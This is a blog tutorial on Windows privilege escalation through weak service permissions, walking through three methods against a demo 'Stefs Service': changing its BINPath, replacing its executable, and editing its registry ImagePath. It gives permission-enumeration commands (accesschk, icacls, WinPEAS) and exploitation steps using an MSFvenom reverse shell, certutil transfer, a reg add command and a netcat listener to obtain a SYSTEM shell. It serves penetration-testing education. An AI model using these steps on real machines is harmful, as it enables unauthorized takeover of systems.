Guides, Privilege Escalation, Windows

Windows Privilege Escalation – Weak Permission

February 2, 2021 | by Stefano Lanaro | Leave a comment

Introduction

Windows services are sometimes configured with weak permissions linked to the service itself, or to the directory the service is being run from.

This can allow attackers to manipulate the service in order to execute arbitrary code when it starts and escalate privileges to SYSTEM.

Service BINPath Manupulation

The first way to exploit this vulnerability is to change the BINPath of the service to an arbitrary executable, so that when the service starts it will execute malicious code in order to grant SYSTEM level access to the machine.

Identifying Vulnerable Services

AccessChk is a command-line tool for viewing the effective permissions on files, registry keys, services, processes, kernel objects, and more. This tool will be helpful to identify whether the current user can modify files within a certain service directory.

The tool can be downloaded from this GitHub repository.

When executing any of the sysinternals tools for the first time the user will be presented with a GUI pop-up to accept the EULA. This can be bypassed with an extra command line flag to automatically accept the EULA.

 accesschk.exe /accepteula

A few useful AccessChk commands can be found below:

Check what access users have to services.

 accesschk.exe -uwcqv Users *
 accesschk.exe -uwcqv "Authenticated Users" *
 accesschk.exe -uwcqv "Everyone" *

Find all weak folder permissions per drive.

 accesschk.exe -uwdqs Users c:\
 accesschk.exe -uwdqs "Authenticated Users" c:\
 accesschk.exe -uwdqs "Everyone" c:\

Find all weak file permissions per drive.

accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwqs "Everyone" c:\*.*

To see all global objects that Everyone can modify:

 accesschk -wuo everyone \basednamedobjects

After running AccessChk to find vulnerable services, Stefs Service sticks out:

It looks like the configuration of the “Stefs Service” service can be edited by everyone.

Automated scripts such as WinPEAS can also help identify Weak Permissions in services:

winpeas.exe quiet servicesinfo

Exploitation

The current BINPath can be viewed with the sc command line tool:

sc qc "Service Name"

The “Stefs Service” service currently points to C:\Program Files (x86)\Stefs Program\bin\Stef.exe which presumably is a legitimate executable.

For this example, a reverse shell can be generated using MSFvenom, with the following flags:

  • -p to specify the payload type, in this case the Windows reverse TCP shell
  • LHOST to specify the local host IP address to connect to
  • LPORT to specify the local port to connect to
  • -f to specify the format, in this case exe

Transferring the shell.exe file to the Windows victim machine using the Python web server and the Windows Certutil utility.

Changing the service BINPath to match the newly created shell.exe binary:

The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Stopping and starting the service with the following commands:

net stop "Service Name"
net start "Service Name"

This has granted a SYSTEM level shell.

Replacing Service Executable

The second way to exploit this is to simply replace the executable used by the application with a reverse shell generated using MSFvenom. Write access to the executable is required in order to exploit this vulnerability.

Identifying Vulnerable Services

The first thing to do is to verify whether the current user has access to modify the executable file used for the service.

icacls "Path to service executable" 2>nul

It appears the executable used by the “Stefs Service” service can be edited by everyone.

NOTE: The main icacls permissions are as follows:

  • F – Full access
  • M– Modify access
  • RX – Read and execute access
  • R – Read-only access
  • W – Write-only access

Whereas these are used for file/folder inheritance:

  • (OI) – Object inherit
  • (CI) – Container inherit
  • (IO) – Inherit only
  • (NP) – Do not propagate inherit

A few other useful icacls commands are listed below:

Full Permissions in the Windows program installation folders?

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Authenticated Users"
icacls "C:\Program Files (x86)*" 2>nul | findstr "(F)" | findstr "Authenticated Users"

Modify Permissions in the Windows program installation folders?

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)*" 2>nul | findstr "(M)" | findstr "Authenticated Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Authenticated Users"

Automated scripts such as WinPEAS can also help identify Weak Permissions in services:

winpeas.exe quiet servicesinfo

Exploitation

Replacing the service executable with the reverse shell created earlier:

Setting up a Netcat listener:

Restarting the service with the same commands used earlier grants a SYSTEM shell:

Weak Registry Permissions

When a service is created in Windows, there is normally a correspondent registry entry which contains important information about the service. One of which, is the Image Path, which is the path to the binary used by the service.

If the current user has access to modify this entry, the service executable can be replaced with a reverse shell generated using MSFvenom.

Identifying Vulnerable Services

The service registry keys are stored at the following location:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

The following command can be used in Powershell to query service registry keys permission:

Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\Service | fl

It appears that keys in the “Stefs Service” service can be edited by everyone.

Automated scripts such as WinPEAS can also help identify Weak Permissions in services: 

winpeas.exe quiet servicesinfo

Exploitation

Replacing the Image Path for the “Stefs Service” service with the reverse shell created earlier using the following command:

reg add "HKLM\SYSTEM\CurrentControlSet\services\Stefs Service" /v ImagePath /t REG_EXPAND_SZ /d C:\Users\IEUser\Downloads\shell.exe /f

Setting up a Netcat listener:

stopping and starting the service grants a SYSTEM level shell:

All of the methods mentioned above can also be exploited using Metasploit although that does not require a guid as it is pretty straightforward.

Conclusion

Services are at the core of operating systems, and often run with privileged access, as they may need to access restricted files, registry keys, memory sectors etc. in the operating system to perform their tasks.

This can become a problem when the services aren’t properly secured and allow users to manipulate their configuration, their binaries, registry keys or to start/stop them and can often result in a full system compromise.